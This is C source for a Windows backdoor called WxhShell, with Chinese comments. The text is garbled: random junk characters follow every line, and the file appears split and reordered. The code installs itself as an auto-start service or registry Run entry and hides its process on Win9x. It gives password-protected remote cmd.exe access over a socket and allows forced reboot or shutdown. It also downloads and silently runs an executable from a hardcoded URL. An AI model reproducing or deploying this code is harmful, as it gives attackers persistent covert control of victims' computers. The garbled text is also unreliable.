    closesocket(wsh); w?/,LV  
    ExitThread(0); .58 AXg  
    } HKh)T$IZM  
    break; /|\`NARI  
    } I#mT#xs6  
  // 获取shell U "}Kth  
  case 's': { S\f^y8*<  
    CmdShell(wsh); ]xS< \{og  
    closesocket(wsh); XkNi 'GJf  
    ExitThread(0); c]n4vhUa5  
    break; zJV4)  
  }  %"z W]  
  // 退出 S1=c_!q%9  
  case 'x': { '1mygplW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bVVa5? HP  
    CloseIt(wsh); IGp-`%9  
    break; :l 7\7IT  
    } +FJ o!~1  
  // 离开 6^wiEnA  
  case 'q': { R<wb8iir  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Qm;F% >  
    closesocket(wsh); +I/P5OGRN  
    WSACleanup(); 1'g?B`  
    exit(1); \myj Y  
    break; qS7*.E~j|]  
        } [2 Rp.?  
  } |M0TG  
  } @!F9}n AP  
Pjx9@i  
  // 提示信息 vCi:c Ip/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q;Oc# u  
} $]hf2Yr(  
  } Onk~1ks:  
!"1bV [^  
  return; q5`Gl  
} Y>z(F\  
|Rl|Th  
// shell模块句柄 a'A0CQ  
int CmdShell(SOCKET sock) gNO$WY^  
{ 5 Fd]3  
STARTUPINFO si; GnLh qm"\  
ZeroMemory(&si,sizeof(si)); f.u{;W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !KF;Z|_(I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &"CS1P|  
PROCESS_INFORMATION ProcessInfo; uD5i5,q1Hs  
char cmdline[]="cmd"; >,9t<p=Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z,NHH):~  
  return 0; J^?O] |  
} 5jV]{ZV#  
w"Z >F]YZ  
// 自身启动模式 |UBJu `%  
int StartFromService(void) LZ@^ A]U  
{ h&Sl8$jVp  
typedef struct _}\&;  
{ F )tNA?p)  
  DWORD ExitStatus; U%#=d@?  
  DWORD PebBaseAddress; Cz(PjS  
  DWORD AffinityMask; nd?m+C&W  
  DWORD BasePriority; @e slF  
  ULONG UniqueProcessId; jG/kT5S  
  ULONG InheritedFromUniqueProcessId; @<AIPla  
}   PROCESS_BASIC_INFORMATION; y_nh~&  
4C2 D wj  
PROCNTQSIP NtQueryInformationProcess; mEqV&M1;7l  
i<T`]g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !l&lb]V cz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 71 2i |  
{wm  `  
  HANDLE             hProcess; *R:nB)(6<  
  PROCESS_BASIC_INFORMATION pbi; 'R$~U?i8  
~7k b4[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v:+se6HY?p  
  if(NULL == hInst ) return 0; :')<|(Zy  
65}:2l2<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K[9<a>D`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G%P]qi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R:fu n ,  
V2bod=&Lc  
  if (!NtQueryInformationProcess) return 0; U9 If%0P  
c]O4l2nCL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x^ Wgo`v)  
  if(!hProcess) return 0; 57#:GN$EL  
) HmpVH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g_q{3PW.  
Di L@NU!$q  
  CloseHandle(hProcess); g"!B |  
i ^W\YLE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4ASc`w*0  
if(hProcess==NULL) return 0; 8Ej2JMc  
W[vak F  
HMODULE hMod; BvYJ!Vj  
char procName[255]; =EG[_i{r  
unsigned long cbNeeded; 4f>Vg$4  
5H5< ft,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $`riB$v  
eC3ZK"oJ  
  CloseHandle(hProcess); ei"FN3Rm  
<vAg\Tv:S  
if(strstr(procName,"services")) return 1; // 以服务启动 Tc qqAc   
2qEy"DKu  
  return 0; // 注册表启动 X-%*`XG'  
} &^Xm4r%u_  
LsmC/+7r$1  
// 主模块 : |Z*aI]9  
int StartWxhshell(LPSTR lpCmdLine) mO\6B7V!  
{ m!PN1$9V  
  SOCKET wsl; ruA!+@or  
BOOL val=TRUE; _E1:3 N|  
  int port=0; .NPai4V'  
  struct sockaddr_in door; '91Ak,cWB  
Bkcs4 x  
  if(wscfg.ws_autoins) Install(); wWH5T}\  
+DU}f;O8v  
port=atoi(lpCmdLine); GB{%4)%6  
{?t=*l\S{w  
if(port<=0) port=wscfg.ws_port; oEfKL`]B  
Q2+e`  
  WSADATA data; }?H|9OS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; No h*1u*  
Wx^L~[l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e\)PGjSI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z S^:Ng5  
  door.sin_family = AF_INET; hnyZXk1|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OpiN,>;  
  door.sin_port = htons(port); D V C};  
tQ*5[F,fm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g4U%(3,>D  
closesocket(wsl); k/*r2 C  
return 1; \[Q,>{^  
} p6sXftk  
Bl(we/r  
  if(listen(wsl,2) == INVALID_SOCKET) { yQh":"$k  
closesocket(wsl); A?Uyj  
return 1; 0b4QcfB1[  
} cE[4CCpy  
  Wxhshell(wsl); dMYDB  
  WSACleanup(); 2x t 8F  
rZ *}jD[  
return 0; ^ @sg{_.~l  
+1_NB;,e  
} s_u@8e 6_  
(Y:5u}*Y  
// 以NT服务方式启动 XB^o>/|@S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lor jMS  
{ C#+Gkzq  
DWORD   status = 0; }5u$/c@f1  
  DWORD   specificError = 0xfffffff; %r?Y!=0  
+A O(e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ' FF@I^O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P @G2F:}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G-~+FnUC  
  serviceStatus.dwWin32ExitCode     = 0; )Z,O*u*  
  serviceStatus.dwServiceSpecificExitCode = 0; 4uwI=UUB  
  serviceStatus.dwCheckPoint       = 0; xZwG@+U=X  
  serviceStatus.dwWaitHint       = 0; B!4chxzUZ  
b:SjJA,HM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "@#^/m)  
  if (hServiceStatusHandle==0) return; TY"8.vd  
'H0uvvhOp  
status = GetLastError(); XShi[7  
  if (status!=NO_ERROR) >^=up f/  
{ TgoaEufS<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B<%cqz@  
    serviceStatus.dwCheckPoint       = 0; &@<Z7))  
    serviceStatus.dwWaitHint       = 0; C8W#$a  
    serviceStatus.dwWin32ExitCode     = status;  ltK\ )L  
    serviceStatus.dwServiceSpecificExitCode = specificError; MAb*4e#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m:SG1m_6  
    return; P{-j ^'y  
  } f#f<Ii  
g(& huS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q!iS Y  
  serviceStatus.dwCheckPoint       = 0; % Ya%R@b}  
  serviceStatus.dwWaitHint       = 0; M#Kke9%2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^hiIMqY_{`  
} xq$(=WPI  
H{hd1  
// 处理NT服务事件,比如:启动、停止 >}? jOB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2@~.FBby7@  
{ Sqn|  
switch(fdwControl) >8M=RE n4  
{ Cw$0XyO  
case SERVICE_CONTROL_STOP: G5A:C(r  
  serviceStatus.dwWin32ExitCode = 0; >-oB%T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pW5ch"HE  
  serviceStatus.dwCheckPoint   = 0; r ]s7a?O  
  serviceStatus.dwWaitHint     = 0; -+y lJo[D  
  { !$n@-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zbY2gq@?  
  } LY:%k|L9  
  return; ?qC6p|H  
case SERVICE_CONTROL_PAUSE: 00SYNG!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `)~]3zmG  
  break; u:]c  
case SERVICE_CONTROL_CONTINUE: w :nYsuF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R`5g#  
  break; Ms=5*_J2Jk  
case SERVICE_CONTROL_INTERROGATE: .q90+9Ek=  
  break; /aTW X  
}; 2NMg+Lt8v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YuXCRw9p;  
} 8NnGN(a*D  
o|kiwr}Y  
// 标准应用程序主函数 jlxY|;gZ-0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dvAG}<  
{ ;NMv>1fI  
LUs)"ZAi|  
// 获取操作系统版本 %?`O .W  
OsIsNt=GetOsVer(); &=^YN"=Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *"nN To  
LwlO)|E  
  // 从命令行安装 ty8>(N(~  
  if(strpbrk(lpCmdLine,"iI")) Install(); efr9  
n1U!od  
  // 下载执行文件 LD*XNcE  
if(wscfg.ws_downexe) { T>hrKn.!D:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c>Tf@A og>  
  WinExec(wscfg.ws_filenam,SW_HIDE); R$ra=sL`  
} %*zV&H   
z+Guu8  
if(!OsIsNt) { 1oc@]0n  
// 如果时win9x,隐藏进程并且设置为注册表启动 2YDD`:R  
HideProc(); 3,'LW}  
StartWxhshell(lpCmdLine); !,+<?o y  
} a&Qr7tT Y"  
else (|\%)v H-  
  if(StartFromService()) %4wEAi$I  
  // 以服务方式启动 tQ *?L  
  StartServiceCtrlDispatcher(DispatchTable); BG6.,'~7o  
else KE.O>M ,I.  
  // 普通方式启动 w@"Zjbs`  
  StartWxhshell(lpCmdLine); l 88n*O  
j8oX9 Yo0=  
return 0; 6FYL},.R  
} 4.Q[Tu  
!1ZItJ74#  
7}I';>QH  
xM=ydRu  
=========================================== &q&~&j'[  
/d+v4GIB  
;m7~!m)  
Ee_?aG e&  
tPa( H;  
]x).C[^  
" IL:[0q  
P*jiz@6  
#include <stdio.h> `ZZ3!$czR  
#include <string.h> S}fQis  
#include <windows.h> cuC' o\f  
#include <winsock2.h> VDro(?p8Z  
#include <winsvc.h> ;HBKOe_3  
#include <urlmon.h> nrA 4N1  
dDSb1TM  
#pragma comment (lib, "Ws2_32.lib") rizjH+  
#pragma comment (lib, "urlmon.lib") 2}7_Y6RS*  
w:9`R<L  
#define MAX_USER   100 // 最大客户端连接数 EXF]y}n  
#define BUF_SOCK   200 // sock buffer \03<dUA6  
#define KEY_BUFF   255 // 输入 buffer JB%_&gX)v  
r;)31Tg  
#define REBOOT     0   // 重启 CzY18-L@EX  
#define SHUTDOWN   1   // 关机 j D*<M/4  
nGwon8&]]  
#define DEF_PORT   5000 // 监听端口 #6 ni~d&0  
t*; KxQ+'?  
#define REG_LEN     16   // 注册表键长度 N p*T[J  
#define SVC_LEN     80   // NT服务名长度 $9j>oUG  
FaWDAL=Vhk  
// 从dll定义API o=#ym4hJ%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bI3GI:hp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tt9cX}&&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gG@4MXq.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =L@CZ"  
WO{7/h</  
// wxhshell配置信息 p;'.7_1  
struct WSCFG { u,nn\>Y  
  int ws_port;         // 监听端口 [E%g3>/mt  
  char ws_passstr[REG_LEN]; // 口令 FfxD=\  
  int ws_autoins;       // 安装标记, 1=yes 0=no OiXO<1'$  
  char ws_regname[REG_LEN]; // 注册表键名 d>mT+{3  
  char ws_svcname[REG_LEN]; // 服务名 JWaWOk(t=?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z9NND  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -"S94<Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `R xCs`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 63%V_B|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L1I1SFG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X`EVjK  
'K02T:\iZ  
}; QcX\z\'vg  
xo?'L&%  
// default Wxhshell configuration KQb&7k .  
struct WSCFG wscfg={DEF_PORT, L C##em=Y  
    "xuhuanlingzhe", KAD2_@l  
    1, - AgD  
    "Wxhshell", ;-JFb$m  
    "Wxhshell", gE$Uv*Gj  
            "WxhShell Service", /O.Ql ,6[  
    "Wrsky Windows CmdShell Service", Mh2b!B  
    "Please Input Your Password: ", ?H,f|nc  
  1, EI*~VFx  
  "http://www.wrsky.com/wxhshell.exe", kr~n5WiAZ  
  "Wxhshell.exe" wu eDedz\  
    }; 'I+M*Iy  
8f[ztT0`g  
// 消息定义模块 ) 3"!Q+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,wM}h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mD.6cV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pZeO dh  
char *msg_ws_ext="\n\rExit."; LQr!0p.i"  
char *msg_ws_end="\n\rQuit."; 2Sa{=x N)  
char *msg_ws_boot="\n\rReboot..."; spm)X-[1  
char *msg_ws_poff="\n\rShutdown..."; g(X `.0  
char *msg_ws_down="\n\rSave to "; i.7_i78\"  
n.a2%,|v  
char *msg_ws_err="\n\rErr!"; GTTEg{  
char *msg_ws_ok="\n\rOK!"; *yw!Y{e!9  
_0gdt4  
char ExeFile[MAX_PATH]; lb}RPvQE  
int nUser = 0; %X.g+uu  
HANDLE handles[MAX_USER]; |>xuH#Q  
int OsIsNt; ^7? WR?!  
8@LWg d  
SERVICE_STATUS       serviceStatus; Ns1n|^9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HyWR&0J  
#k)z5vZ$h  
// 函数声明 2jC:uk  
int Install(void); >KP,67  
int Uninstall(void); Ri`6X_xU  
int DownloadFile(char *sURL, SOCKET wsh); y;fF|t<y  
int Boot(int flag); (M1YOK)I  
void HideProc(void); a?nK|Q=e  
int GetOsVer(void); a}f /<-L  
int Wxhshell(SOCKET wsl); r9N?z2X  
void TalkWithClient(void *cs); 0\Jeyb2dl  
int CmdShell(SOCKET sock); R!"|~OO  
int StartFromService(void); b/m.VL  
int StartWxhshell(LPSTR lpCmdLine); Gvdok<o  
v'?o#_La+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sCY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 56c[$ q  
-(WRhBpw  
// 数据结构和表定义 MK/8<i<.  
SERVICE_TABLE_ENTRY DispatchTable[] = L-}Uj^yF  
{ ;T0X7MNx  
{wscfg.ws_svcname, NTServiceMain}, z7:* ,X  
{NULL, NULL} /0gr?I1wr7  
}; r^msJ|k8[  
ge?or]T1S  
// 自我安装 8N"WKBj|_d  
int Install(void) R\7r!38  
{ <+q`Dk  
  char svExeFile[MAX_PATH]; S& IW]ffK  
  HKEY key; .5s58H cg,  
  strcpy(svExeFile,ExeFile); oxeu%wj_  
Hik=(pTu>  
// 如果是win9x系统,修改注册表设为自启动 CP2wg .  
if(!OsIsNt) { u8>aO>(bVg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uK(]@H7~!c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `kvIw,c.  
  RegCloseKey(key); wN%lc3[/z2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2p;I<C:Eo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wL:7G  
  RegCloseKey(key); k= 9+"4:  
  return 0; 6A.%)whI;  
    } D4hT Hh  
  } Bnk<e  
} F Xr\  
else { 1fIx@  
v%2Dz  
// 如果是NT以上系统,安装为系统服务 OS<GAA0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z]DZ:dF  
if (schSCManager!=0) wY%t# [T3  
{ D{\o*\TN  
  SC_HANDLE schService = CreateService k+"7hf=C|  
  ( }s'=w]m  
  schSCManager, EyU6^  
  wscfg.ws_svcname, 0$-|Th:o  
  wscfg.ws_svcdisp, $")Gd@aR  
  SERVICE_ALL_ACCESS, 1c]{rO=taN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kjsj~jwvv  
  SERVICE_AUTO_START, 9__Q-J  
  SERVICE_ERROR_NORMAL, #m<uG5l`  
  svExeFile, V?.=_T<  
  NULL, 1oiSmW\  
  NULL, W vu 1?  
  NULL, >vXJ9\  
  NULL, "0 %f R"  
  NULL OMo/a%`  
  ); )OFN0'  
  if (schService!=0) os;9 4yd )  
  { _!,2"dS  
  CloseServiceHandle(schService); K+M\E[1W  
  CloseServiceHandle(schSCManager); `DSFaBj,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^:ny  
  strcat(svExeFile,wscfg.ws_svcname); q)C Xu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . bUmT!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "x;FE<I  
  RegCloseKey(key); $gYGnh_,Q  
  return 0; $'d,X@}8  
    } $\] Mvd  
  } H l(W'>*oL  
  CloseServiceHandle(schSCManager); Lh-Y5(c o  
} (gvnIoDl0  
} V(LfFO{^>?  
jZmL7 V  
return 1; vNdX  
} Z]2z*XD  
Oi~Dio_?  
// 自我卸载 VE/m|3%t  
int Uninstall(void) aA>!p{/x  
{ =2rdbq6R  
  HKEY key; ]xb2W~  
ume70ap}m  
if(!OsIsNt) { .) %, R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dikX_ Q>D  
  RegDeleteValue(key,wscfg.ws_regname); NgsEEPu?  
  RegCloseKey(key); (NfB+Ue}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,d.5K*?aI  
  RegDeleteValue(key,wscfg.ws_regname); y!S:d  
  RegCloseKey(key); ${ DSH  
  return 0; *Ev8f11i&  
  } n) HV:8j~  
} DW7Jk"\GH  
} ?/,V{!UTtq  
else { }9z$72;Qdq  
~SA>$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )`W|J%w+  
if (schSCManager!=0) :]8A;`G}  
{ mdmJne.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U F89gG4  
  if (schService!=0) ,}>b\(Lk  
  { aDLlL?r3  
  if(DeleteService(schService)!=0) { v-!Spf  
  CloseServiceHandle(schService); C\{hN  
  CloseServiceHandle(schSCManager); w9gfva$&  
  return 0; md\Vw?PkU  
  } mL;oR4{  
  CloseServiceHandle(schService); nS.qK/.s  
  } $|!3ks  
  CloseServiceHandle(schSCManager); .ubZ  
} *9F{+)A  
} RR/?"d?&  
mv$gL  
return 1; Fy6Lz.baB  
} j&8G tE1b  
aE:$ N#|Qa  
// 从指定url下载文件 pVjOp~=U  
int DownloadFile(char *sURL, SOCKET wsh) (CYQ>)a  
{ Z{F^qwne  
  HRESULT hr; a`C2:Z23(#  
char seps[]= "/"; 'auYmX  
char *token; AuBBSk8($  
char *file; ^ Vc(oa&;  
char myURL[MAX_PATH]; k&u5`F  
char myFILE[MAX_PATH]; ^O"o-3dte  
)g U#[}6H  
strcpy(myURL,sURL); <hgfgk7<  
  token=strtok(myURL,seps); sbhUW>%.  
  while(token!=NULL) IFF1wfC  
  { hb)83mH}  
    file=token; _.W;hf`  
  token=strtok(NULL,seps); m^tf=O<  
  } ZNDjk  
^'b\OUty-  
GetCurrentDirectory(MAX_PATH,myFILE); z<cPy)F]"  
strcat(myFILE, "\\"); '|&?$g(\h  
strcat(myFILE, file); Qg o| \=  
  send(wsh,myFILE,strlen(myFILE),0); Cv`dK=n>  
send(wsh,"...",3,0); %=vU Z4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }[;r-5}  
  if(hr==S_OK) ).MV1@s  
return 0; ORIXcj]  
else 3#`Sk`z<  
return 1; `4qtmbj  
2(9~G|C.  
} _G^4KwYp  
S=`#X,Wo  
// 系统电源模块 #<-%%  
int Boot(int flag) x^YsXzu  
{ 92/_!P>  
  HANDLE hToken; +3R/g@n  
  TOKEN_PRIVILEGES tkp; 9*[!ux7h  
X;dUlSi  
  if(OsIsNt) { 94[8~_{fG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [Lid%2O3ZR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p,mKgL63  
    tkp.PrivilegeCount = 1; W3B:)<f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *adwCiB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6eK7Jv\K  
if(flag==REBOOT) { }};AV)}J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U/{#~P5s  
  return 0; p2wDk^$  
} 42PA?^xPw  
else { N >];xb>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }Q;^C  
  return 0; U1=\ `)u;  
} jh~E!%d77  
  } F<2qwP  
  else { ?Pt*4NaT;  
if(flag==REBOOT) { *7yrm&@nG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !=vd:,  
  return 0; ;fm> \f  
} VVi3g  
else { ])Z p|?Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %VO>6iVn  
  return 0; /}3I:aJwb  
} Oa' T$'  
} "0?" E\  
qfgw^2aUa  
return 1; s[u*~A  
} VP6_}9:9   
ujeN|W  
// win9x进程隐藏模块 eY'RDQa  
void HideProc(void) 3^Z@fC  
{ Z67'/z$0  
`Wp& 'X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l }]"X@&G  
  if ( hKernel != NULL ) zkHyx[L  
  { B3&ETi5NTU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D#d \1g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C=P}@|K  
    FreeLibrary(hKernel); 0 TOw4pC  
  } X/A(8rvCr  
k$ w#:Sx  
return; \S)cVp)h  
} 5DVSaI$ =  
?2Sm f  
// 获取操作系统版本 wRe2sjM  
int GetOsVer(void) G,,f' >  
{ $NwPGy?%  
  OSVERSIONINFO winfo; kFQx7m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @6{F4  
  GetVersionEx(&winfo); L [X "N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) He  LW*  
  return 1; [g$IN/o%  
  else 3Hhu]5  
  return 0; w)"F=33}5  
} saVX2j6Y  
Vu Ey`c  
// 客户端句柄模块 w9CX5Fg  
int Wxhshell(SOCKET wsl) *:Y9&s^6j  
{ sn yA  
  SOCKET wsh; 9Q&]5| x  
  struct sockaddr_in client; gmtS3,  
  DWORD myID; /=:F w}vt  
p+^K$w^Cs  
  while(nUser<MAX_USER) ]N6UY  
{ 4\14HcTcK  
  int nSize=sizeof(client); 3tCT"UvTD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZKVM9ofXRi  
  if(wsh==INVALID_SOCKET) return 1; XZj3x',;  
6Bn}W ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8n/[oDc]  
if(handles[nUser]==0) @g1T??h   
  closesocket(wsh); CiIIlE4  
else FES0lw{G#  
  nUser++; ~?KbpB|  
  } X^d}eWP`I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s,7 OoLE  
VaTA|=[;  
  return 0; JgcMk]|'  
} J&;' gT  
cEEnR1  
// 关闭 socket XknbcA|  
void CloseIt(SOCKET wsh) e(jD[q  
{ @mEB=X(-l=  
closesocket(wsh); $2$jV1s  
nUser--; Hx ojxZwm  
ExitThread(0); ,/UuXX  
} 6' 9zpe@`  
Dos';9Uq  
// 客户端请求句柄 vJuL+'[i  
void TalkWithClient(void *cs) (_eM:H=e>  
{ /rv=ml pRL  
FUZ`ST+OL  
  SOCKET wsh=(SOCKET)cs; Enqs|fkbN  
  char pwd[SVC_LEN]; R5fZ }C7  
  char cmd[KEY_BUFF]; ;et(Yi;9  
char chr[1]; |/!RN[<   
int i,j; I6[=tB  
6jz~q~ I  
  while (nUser < MAX_USER) { -@/!u9l  
Qz([\Xx:  
if(wscfg.ws_passstr) { .a}!!\@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >!#or- C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5h p)Z7  
  //ZeroMemory(pwd,KEY_BUFF); IUQYoKz4}A  
      i=0; USbFUHdDc  
  while(i<SVC_LEN) { G_ 6!w//  
&u~%5;  
  // 设置超时 kl#) 0yqN0  
  fd_set FdRead; Z8WBOf*~e  
  struct timeval TimeOut; ~0 Mw\p%}  
  FD_ZERO(&FdRead); '! ~ s=  
  FD_SET(wsh,&FdRead); }1P v6L(o)  
  TimeOut.tv_sec=8; CMHg]la  
  TimeOut.tv_usec=0; N-}|!pqb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q ?m<9`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _"- ,ia[D  
H:X(><J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bdvVPjGc&  
  pwd=chr[0]; n$ZxN"q <  
  if(chr[0]==0xd || chr[0]==0xa) { \$2zF8  
  pwd=0; wO"ezQ  
  break; $"`e^J9!!  
  } avxI%%|  
  i++; 420cbD3a  
    } (t"rzH  
5!7vD|6  
  // 如果是非法用户,关闭 socket o^<W3Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uN(N2m  
} _)^`+{N<  
'jBtBFzP-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M[KYt"v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UymhBh  
F1&7m )f$l  
while(1) { H]>7IhJ  
>I9|N}I  
  ZeroMemory(cmd,KEY_BUFF); UQCond+K  
7kQ,D,c'  
      // 自动支持客户端 telnet标准   H^8t/h  
  j=0; v QDkZ  
  while(j<KEY_BUFF) { J*]JH{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); scR+F'M  
  cmd[j]=chr[0]; %)j^>W5  
  if(chr[0]==0xa || chr[0]==0xd) { =N{-lyr)  
  cmd[j]=0; u %&4[zb  
  break; \h7XdmA]~  
  } ;%xG bg!lg  
  j++; szD BfGd%j  
    } WvHy}1W  
QlWkK.<Z3_  
  // 下载文件 rYk   
  if(strstr(cmd,"http://")) { 4t0-L]v4.*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q<?r5H5  
  if(DownloadFile(cmd,wsh)) "aeKrMgc6V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|.K& @_'K  
  else M@O<b-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,ikn%l#cm  
  } 0 +"P 1/  
  else { Rj {D#5  
{$^Lb4O[V  
    switch(cmd[0]) { -Khb  
  -Hu]2J)  
  // 帮助 5 }F6s  
  case '?': { dG'5: ,n/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i@`T_&6l  
    break; %dA7`7j  
  } HH,G3~EBF  
